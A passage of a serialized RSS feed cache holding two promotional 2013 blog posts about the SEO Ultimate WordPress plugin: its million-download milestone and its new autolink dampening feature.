WordPress.org.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9210\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 422px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/seo-ultimate-wordpress-plugin-surpasses-1-million-downloads/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9210\&quot; title=\&quot;SEO Ultimate Reaches 1 Million Downloads\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/seo-ultimate-surpasses-1-million-downloads.jpg\&quot; alt=\&quot;\&quot; width=\&quot;412\&quot; height=\&quot;291\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;SEO Ultimate Reaches 1,000,000 Downloads&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;As critical milestones go, this represents a crucial turning point for our firm as we move away from the SEO service model into an &lt;em&gt;SEO software business model&lt;/em&gt; allowing us to provide access and training to our most coveted WordPress tactics and tools.&lt;/p&gt;\n&lt;p&gt;The latest addition to the &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SDS&lt;/a&gt; family (scheduled to unveil later this year in mid February) is our &lt;strong&gt;SEO Design Framework for WordPress &lt;/strong&gt;dubbed &lt;a href=\&quot;http://www.wpultimatetheme.com/\&quot;&gt;WP Ultimate&lt;/a&gt;.&lt;span id=\&quot;more-9208\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;div class=\&quot;mceTemp mceIEcenter\&quot;&gt;\n&lt;dl id=\&quot;attachment_9174\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 310px;\&quot;&gt;\n&lt;dt class=\&quot;wp-caption-dt\&quot;&gt;&lt;a href=\&quot;http://www.wpultimatetheme.com/wp-ultimate-features/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9174\&quot; title=\&quot;WPU_logo\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/WPU_logo.jpg\&quot; alt=\&quot;\&quot; width=\&quot;300\&quot; height=\&quot;136\&quot; /&gt;&lt;/a&gt;&lt;/dt&gt;\n&lt;/dl&gt;\n&lt;/div&gt;\n&lt;p&gt;If SEO Ultimate is the &lt;em&gt;Swiss army knife&lt;/em&gt; of SEO, then &lt;strong&gt;&lt;a href=\&quot;http://www.wpultimatetheme.com/\&quot;&gt;WP Ultimate&lt;/a&gt;&lt;/strong&gt; is the &lt;strong&gt;“&lt;em&gt;Adobe Photoshop&lt;/em&gt;”&lt;/strong&gt; of WordPress Framework’s boasting a dynamic range of unparalleled design flexibility&lt;em&gt;(able to accomplish stunning visual design feats&lt;/em&gt; via multiple mediums) depending on the strategy or tact required.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9209\&quot; title=\&quot;Download SEO Ultimate from WordPress\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/seo-ultimate761.jpg\&quot; alt=\&quot;\&quot; width=\&quot;513\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;The plugin (SEO Ultimate) was originally designed as part of an advanced SEO toolset for our own sites and our clients’ websites &amp;#8211; and over the years we’ve steadily enhanced its scope to replace the functionality of dozens of other SEO plugins from autolinking, optimizing slugs, removing the category base, integrating social sharing, micro formats, rich-snippets, link masking, mass meta editing capabilities, theming / content siloing and more.&lt;/p&gt;\n&lt;p&gt;We genuinely hope you’ve enjoyed using SEO Ultimate as much as we’ve enjoyed sharing it and look forward to adding new and exciting features for you to dominate search engines with push-button ease.&lt;/p&gt;\n&lt;p&gt;If you haven’t already, feel free to watch the comprehensive &lt;a href=\&quot;http://www.seodesignsolutions.com/wordpress-seo/\&quot;&gt;SEO Ultimate Video tutorial&lt;/a&gt; to learn more about each feature in detail.&lt;/p&gt;\n&lt;p&gt;If are one of the 60% of active users who currently have the two most recent versions of the plugin installed, make sure to either leave a comment, testimonial or &lt;a href=\&quot;http://wordpress.org/support/bb-login.php?re=http%3A%2F%2Fwordpress.org%2Fextend%2Fplugins%2Fseo-ultimate%2F\&quot;&gt;log in to WordPress and vote&lt;/a&gt; to share your appreciation.&lt;/p&gt;\n&lt;p&gt;Have a comment? Let us know or pass this along to others so they can enjoy the pure on page power of &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=2PPuJxVFZnE:hKlpAURVNwk:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/2PPuJxVFZnE\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:348:\&quot;Today our team rejoiced as SEO Ultimate (the Swiss-army-knife of SEO Plugins) surpassed the 1 Million download benchmark from WordPress.org. As critical milestones go, this represents a crucial turning point for our firm as we move away from the SEO service model into an SEO software business model allowing us to provide access and training [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;2\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:113:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/seo-ultimate-wordpress-plugin-surpasses-1-million-downloads/\&quot;;}s:7:\&quot;summary\&quot;;s:348:\&quot;Today our team rejoiced as SEO Ultimate (the Swiss-army-knife of SEO Plugins) surpassed the 1 Million download benchmark from WordPress.org. As critical milestones go, this represents a crucial turning point for our firm as we move away from the SEO service model into an SEO software business model allowing us to provide access and training [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:4281:\&quot;&lt;p&gt;Today our team rejoiced as &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt; (the Swiss-army-knife of SEO Plugins) surpassed the &lt;strong&gt;1 Million download benchmark&lt;/strong&gt; from WordPress.org.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9210\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 422px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/seo-ultimate-wordpress-plugin-surpasses-1-million-downloads/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9210\&quot; title=\&quot;SEO Ultimate Reaches 1 Million Downloads\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/seo-ultimate-surpasses-1-million-downloads.jpg\&quot; alt=\&quot;\&quot; width=\&quot;412\&quot; height=\&quot;291\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;SEO Ultimate Reaches 1,000,000 Downloads&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;As critical milestones go, this represents a crucial turning point for our firm as we move away from the SEO service model into an &lt;em&gt;SEO software business model&lt;/em&gt; allowing us to provide access and training to our most coveted WordPress tactics and tools.&lt;/p&gt;\n&lt;p&gt;The latest addition to the &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SDS&lt;/a&gt; family (scheduled to unveil later this year in mid February) is our &lt;strong&gt;SEO Design Framework for WordPress &lt;/strong&gt;dubbed &lt;a href=\&quot;http://www.wpultimatetheme.com/\&quot;&gt;WP Ultimate&lt;/a&gt;.&lt;span id=\&quot;more-9208\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;div class=\&quot;mceTemp mceIEcenter\&quot;&gt;\n&lt;dl id=\&quot;attachment_9174\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 310px;\&quot;&gt;\n&lt;dt class=\&quot;wp-caption-dt\&quot;&gt;&lt;a href=\&quot;http://www.wpultimatetheme.com/wp-ultimate-features/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9174\&quot; title=\&quot;WPU_logo\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/WPU_logo.jpg\&quot; alt=\&quot;\&quot; width=\&quot;300\&quot; height=\&quot;136\&quot; /&gt;&lt;/a&gt;&lt;/dt&gt;\n&lt;/dl&gt;\n&lt;/div&gt;\n&lt;p&gt;If SEO Ultimate is the &lt;em&gt;Swiss army knife&lt;/em&gt; of SEO, then &lt;strong&gt;&lt;a href=\&quot;http://www.wpultimatetheme.com/\&quot;&gt;WP Ultimate&lt;/a&gt;&lt;/strong&gt; is the &lt;strong&gt;“&lt;em&gt;Adobe Photoshop&lt;/em&gt;”&lt;/strong&gt; of WordPress Framework’s boasting a dynamic range of unparalleled design flexibility&lt;em&gt;(able to accomplish stunning visual design feats&lt;/em&gt; via multiple mediums) depending on the strategy or tact required.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9209\&quot; title=\&quot;Download SEO Ultimate from WordPress\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/seo-ultimate761.jpg\&quot; alt=\&quot;\&quot; width=\&quot;513\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;The plugin (SEO Ultimate) was originally designed as part of an advanced SEO toolset for our own sites and our clients’ websites &amp;#8211; and over the years we’ve steadily enhanced its scope to replace the functionality of dozens of other SEO plugins from autolinking, optimizing slugs, removing the category base, integrating social sharing, micro formats, rich-snippets, link masking, mass meta editing capabilities, theming / content siloing and more.&lt;/p&gt;\n&lt;p&gt;We genuinely hope you’ve enjoyed using SEO Ultimate as much as we’ve enjoyed sharing it and look forward to adding new and exciting features for you to dominate search engines with push-button ease.&lt;/p&gt;\n&lt;p&gt;If you haven’t already, feel free to watch the comprehensive &lt;a href=\&quot;http://www.seodesignsolutions.com/wordpress-seo/\&quot;&gt;SEO Ultimate Video tutorial&lt;/a&gt; to learn more about each feature in detail.&lt;/p&gt;\n&lt;p&gt;If are one of the 60% of active users who currently have the two most recent versions of the plugin installed, make sure to either leave a comment, testimonial or &lt;a href=\&quot;http://wordpress.org/support/bb-login.php?re=http%3A%2F%2Fwordpress.org%2Fextend%2Fplugins%2Fseo-ultimate%2F\&quot;&gt;log in to WordPress and vote&lt;/a&gt; to share your appreciation.&lt;/p&gt;\n&lt;p&gt;Have a comment? Let us know or pass this along to others so they can enjoy the pure on page power of &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=2PPuJxVFZnE:hKlpAURVNwk:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/2PPuJxVFZnE\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:9;a:12:{s:5:\&quot;title\&quot;;s:61:\&quot;SEO Ultimate 7.6.1 Introduces Autolink Link Dampening Feature\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/2IWIWQotmU0/\&quot;;s:8:\&quot;category\&quot;;s:13:\&quot;WordPress SEO\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Fri, 04 Jan 2013 00:13:12 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9194\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:7899:\&quot;&lt;p&gt;SEO Ultimate, (the All-In-One WordPress SEO plugin created by &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO Design Solutions&lt;/a&gt;) was recently updated to &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/changelog/\&quot;&gt;version 7.6.1&lt;/a&gt; and introduced an exciting new feature for the Deeplink Juggernaut module that allows you to dampen the amount of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/why-internal-links-are-more-important-than-backlinks/\&quot;&gt;internal links&lt;/a&gt; &lt;em&gt;either globally or on a keyword by keyword basis&lt;/em&gt;.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9195\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 424px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9195\&quot; title=\&quot;SEO Ultimate Introduces Autolink Dampener Feature\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/seo-ultimate-link-dampener.jpg\&quot; alt=\&quot;\&quot; width=\&quot;414\&quot; height=\&quot;290\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;SEO Ultimate 7.6.1 Introduces Autolink Dampening Feature&lt;/p&gt;&lt;/div&gt;\n&lt;h3&gt;Why You Should Cap Internal Links!&lt;/h3&gt;\n&lt;p&gt;Without going into wild-eyed speculation about Google Penguin and Panda algorithms and / or how other search engines determine what is considered “&lt;em&gt;natural&lt;/em&gt;” or “&lt;em&gt;unnatural&lt;/em&gt;”, the correlation between excessive link quantities and spam (for either inbound links from other websites or even internal links within websites) is a sensitive, yet serious issue for SEO.&lt;/p&gt;\n&lt;p&gt;As SEO&amp;#8217;s, we do know that if you push it too far with either excessive inbound or internal links that your hard earned SERP (search engine result page) position could potentially trigger a penalty and recede (either partially or entirely from the index).&lt;span id=\&quot;more-9194\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;As a result, we previously implemented a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/seo-ultimate-6-5/\&quot;&gt;site cap feature&lt;/a&gt; for Deeplink juggernaut module which allowed you to prescribe a link cap for internal links to prevent potential &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-to-avoid-seo-over-optimization/\&quot;&gt;over optimization penalties&lt;/a&gt;.&lt;/p&gt;\n&lt;h3&gt;The History of The Module&lt;/h3&gt;\n&lt;p&gt;This feature (previously known as the &lt;strong&gt;per link customization&lt;/strong&gt; feature) was originally created to provide webmasters with fine-grained control over their automated internal links within their website.&lt;/p&gt;\n&lt;p&gt;As an example, say you had a large site and assigned an autolink / keyword to a specific URL like linking the word &lt;strong&gt;electronics&lt;/strong&gt; to your &lt;strong&gt;electronics category landing page&lt;/strong&gt;, but you used this phrase egregiously on several thousand instances in your website.&lt;/p&gt;\n&lt;p&gt;The last thing you would want is for every instance of that keyword (&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot;&gt;shingle&lt;/a&gt;) to link to the target URL and trip a filter for over optimization. Hence, we created two methods to limit this scenario.&lt;/p&gt;\n&lt;h3&gt;Reeling in Autolinks&lt;/h3&gt;\n&lt;p&gt;The first link governor is located in the &lt;strong&gt;quantity restrictions&lt;/strong&gt; region of the &lt;strong&gt;content link settings&lt;/strong&gt; tab of the Deeplink Juggernaut Module that allows you to limit the autolink functionality to one instance per page/post (or you can adjust the number of instances per page/post with this option), but what about the rest of the website and those other potential instances of the keyword / autolink?&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9196\&quot; title=\&quot;Link Quantity Restrictions Setting\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/quantity-restrictions.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;236\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;Globally, aside from limiting the number of times the keyword was used in the content, what could be done to limit over optimization with autolinking?&lt;/p&gt;\n&lt;p&gt;This was why we originally implemented a &lt;strong&gt;link cap&lt;/strong&gt; via the &lt;strong&gt;per link customization feature&lt;/strong&gt; for SEO Ultimate (on versions 6.5  to version 7.5.7) which allowed you to cap the links (and prevent additional instances of autolinking for each keyword) with a quantity based limit i.e. 15 times, 25 times, etc.&lt;/p&gt;\n&lt;p&gt;While this feature worked beautifully on the majority of websites, in some server environments the per link customization site cap feature was rather intensive and created problems due to memory allocation and the inability to turn up the memory within shared hosting environments. So, now the module has evolved and been rewritten using a distinctly different approach we called &lt;em&gt;link dampening&lt;/em&gt;.&lt;/p&gt;\n&lt;p&gt;The Link Dampening feature allows you dampen the number of total links for internal link quantities for keywords assigned in the content link settings module of SEO Ultimate.&lt;/p&gt;\n&lt;h3&gt;How it Works&lt;/h3&gt;\n&lt;p&gt;If the anchor text you specify occurs many times throughout your site’s content, you may wish to reduce the overall frequency with which the anchor text is hyperlinked. You can reduce the autolinking frequency by a percentage with the Dampener field. For example:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;0% dampening will have no effect.&lt;/li&gt;\n&lt;li&gt;50% dampening means the anchor text will be autolinked approximately half as often as it otherwise would be.&lt;/li&gt;\n&lt;li&gt;90% dampening means the anchor text will be autolinked only 10% as often as it otherwise would be.&lt;/li&gt;\n&lt;li&gt;100% dampening means the anchor text won’t be linked at all.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The &lt;strong&gt;“Dampener” &lt;/strong&gt;column will only appear if you’ve enabled it under the &lt;strong&gt;“Content Link Settings”&lt;/strong&gt; tab.&lt;/p&gt;\n&lt;p&gt;To set the feature globally, navigate to the Deeplink Juggernaut content links setting tab and click the option [x] globally decrease autolinking frequency by &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;x%&lt;/span&gt;, then, add your percentage for global link dampening (using the appropirate ratio above).&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9197\&quot; title=\&quot;Global Link Dampening Setting\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/global-dampening.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;235\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;Alternatively, you can use the next checkbox down [x] Add a dampener column to the content links editor (which allows you to dampen links on a per link quantity basis).&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9198\&quot; title=\&quot;Per Link Dampener Setting\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/per-link-dampen.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;38\&quot; /&gt;&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;After activation of this setting, you can dampen link percentages on a keyword / per link basis.&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9205\&quot; title=\&quot;Content Editor Dampener Percentage\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/Dampener-percentage.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;233\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;We hope you enjoy and implement this useful SEO feature. This is merely one tactic you can employ using SEO Ultimate for automated internal linking to create optimal on page SEO. Come back soon as we release more informative SEO Ultimate tips and share techniques like how to silo your WordPress blog using the SEO Ultimate Siloed Categories Widget.&lt;/p&gt;\n&lt;p&gt;If you haven’t already, watch the &lt;a href=\&quot;http://www.wpultimatetheme.com/seo-ultimate-video-tutorial/\&quot;&gt;SEO Ultimate Video Tutorial&lt;/a&gt; to learn how to use each module and unleash the pure on page power of this plugin.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=2IWIWQotmU0:4f7r2csqYtA:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/2IWIWQotmU0\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:349:\&quot;SEO Ultimate, (the All-In-One WordPress SEO plugin created by SEO Design Solutions) was recently updated to version 7.6.1 and introduced an exciting new feature for the Deeplink Juggernaut module that allows you to dampen the amount of internal links either globally or on a keyword by keyword basis. Why You Should Cap Internal Links! Without [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;1\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:115:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/seo-ultimate-7-6-1-introduces-autolink-link-dampening-feature/\&quot;;}s:7:\&quot;summary\&quot;;s:349:\&quot;SEO Ultimate, (the All-In-One WordPress SEO plugin created by SEO Design Solutions) was recently updated to version 7.6.1 and introduced an exciting new feature for the Deeplink Juggernaut module that allows you to dampen the amount of internal links either globally or on a keyword by keyword basis. Why You Should Cap Internal Links! Without [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:7899:\&quot;&lt;p&gt;SEO Ultimate, (the All-In-One WordPress SEO plugin created by &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO Design Solutions&lt;/a&gt;) was recently updated to &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/changelog/\&quot;&gt;version 7.6.1&lt;/a&gt; and introduced an exciting new feature for the Deeplink Juggernaut module that allows you to dampen the amount of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/why-internal-links-are-more-important-than-backlinks/\&quot;&gt;internal links&lt;/a&gt; &lt;em&gt;either globally or on a keyword by keyword basis&lt;/em&gt;.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9195\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 424px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9195\&quot; title=\&quot;SEO Ultimate Introduces Autolink Dampener Feature\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/seo-ultimate-link-dampener.jpg\&quot; alt=\&quot;\&quot; width=\&quot;414\&quot; height=\&quot;290\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;SEO Ultimate 7.6.1 Introduces Autolink Dampening Feature&lt;/p&gt;&lt;/div&gt;\n&lt;h3&gt;Why You Should Cap Internal Links!&lt;/h3&gt;\n&lt;p&gt;Without going into wild-eyed speculation about Google Penguin and Panda algorithms and / or how other search engines determine what is considered “&lt;em&gt;natural&lt;/em&gt;” or “&lt;em&gt;unnatural&lt;/em&gt;”, the correlation between excessive link quantities and spam (for either inbound links from other websites or even internal links within websites) is a sensitive, yet serious issue for SEO.&lt;/p&gt;\n&lt;p&gt;As SEO&amp;#8217;s, we do know that if you push it too far with either excessive inbound or internal links that your hard earned SERP (search engine result page) position could potentially trigger a penalty and recede (either partially or entirely from the index).&lt;span id=\&quot;more-9194\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;As a result, we previously implemented a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/seo-ultimate-6-5/\&quot;&gt;site cap feature&lt;/a&gt; for Deeplink juggernaut module which allowed you to prescribe a link cap for internal links to prevent potential &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-to-avoid-seo-over-optimization/\&quot;&gt;over optimization penalties&lt;/a&gt;.&lt;/p&gt;\n&lt;h3&gt;The History of The Module&lt;/h3&gt;\n&lt;p&gt;This feature (previously known as the &lt;strong&gt;per link customization&lt;/strong&gt; feature) was originally created to provide webmasters with fine-grained control over their automated internal links within their website.&lt;/p&gt;\n&lt;p&gt;As an example, say you had a large site and assigned an autolink / keyword to a specific URL like linking the word &lt;strong&gt;electronics&lt;/strong&gt; to your &lt;strong&gt;electronics category landing page&lt;/strong&gt;, but you used this phrase egregiously on several thousand instances in your website.&lt;/p&gt;\n&lt;p&gt;The last thing you would want is for every instance of that keyword (&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot;&gt;shingle&lt;/a&gt;) to link to the target URL and trip a filter for over optimization. Hence, we created two methods to limit this scenario.&lt;/p&gt;\n&lt;h3&gt;Reeling in Autolinks&lt;/h3&gt;\n&lt;p&gt;The first link governor is located in the &lt;strong&gt;quantity restrictions&lt;/strong&gt; region of the &lt;strong&gt;content link settings&lt;/strong&gt; tab of the Deeplink Juggernaut Module that allows you to limit the autolink functionality to one instance per page/post (or you can adjust the number of instances per page/post with this option), but what about the rest of the website and those other potential instances of the keyword / autolink?&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9196\&quot; title=\&quot;Link Quantity Restrictions Setting\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/quantity-restrictions.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;236\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;Globally, aside from limiting the number of times the keyword was used in the content, what could be done to limit over optimization with autolinking?&lt;/p&gt;\n&lt;p&gt;This was why we originally implemented a &lt;strong&gt;link cap&lt;/strong&gt; via the &lt;strong&gt;per link customization feature&lt;/strong&gt; for SEO Ultimate (on versions 6.5  to version 7.5.7) which allowed you to cap the links (and prevent additional instances of autolinking for each keyword) with a quantity based limit i.e. 15 times, 25 times, etc.&lt;/p&gt;\n&lt;p&gt;While this feature worked beautifully on the majority of websites, in some server environments the per link customization site cap feature was rather intensive and created problems due to memory allocation and the inability to turn up the memory within shared hosting environments. So, now the module has evolved and been rewritten using a distinctly different approach we called &lt;em&gt;link dampening&lt;/em&gt;.&lt;/p&gt;\n&lt;p&gt;The Link Dampening feature allows you dampen the number of total links for internal link quantities for keywords assigned in the content link settings module of SEO Ultimate.&lt;/p&gt;\n&lt;h3&gt;How it Works&lt;/h3&gt;\n&lt;p&gt;If the anchor text you specify occurs many times throughout your site’s content, you may wish to reduce the overall frequency with which the anchor text is hyperlinked. You can reduce the autolinking frequency by a percentage with the Dampener field. For example:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;0% dampening will have no effect.&lt;/li&gt;\n&lt;li&gt;50% dampening means the anchor text will be autolinked approximately half as often as it otherwise would be.&lt;/li&gt;\n&lt;li&gt;90% dampening means the anchor text will be autolinked only 10% as often as it otherwise would be.&lt;/li&gt;\n&lt;li&gt;100% dampening means the anchor text won’t be linked at all.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The &lt;strong&gt;“Dampener” &lt;/strong&gt;column will only appear if you’ve enabled it under the &lt;strong&gt;“Content Link Settings”&lt;/strong&gt; tab.&lt;/p&gt;\n&lt;p&gt;To set the feature globally, navigate to the Deeplink Juggernaut content links setting tab and click the option [x] globally decrease autolinking frequency by &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;x%&lt;/span&gt;, then, add your percentage for global link dampening (using the appropirate ratio above).&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9197\&quot; title=\&quot;Global Link Dampening Setting\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/global-dampening.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;235\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;Alternatively, you can use the next checkbox down [x] Add a dampener column to the content links editor (which allows you to dampen links on a per link quantity basis).&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9198\&quot; title=\&quot;Per Link Dampener Setting\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/per-link-dampen.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;38\&quot; /&gt;&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;After activation of this setting, you can dampen link percentages on a keyword / per link basis.&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9205\&quot; title=\&quot;Content 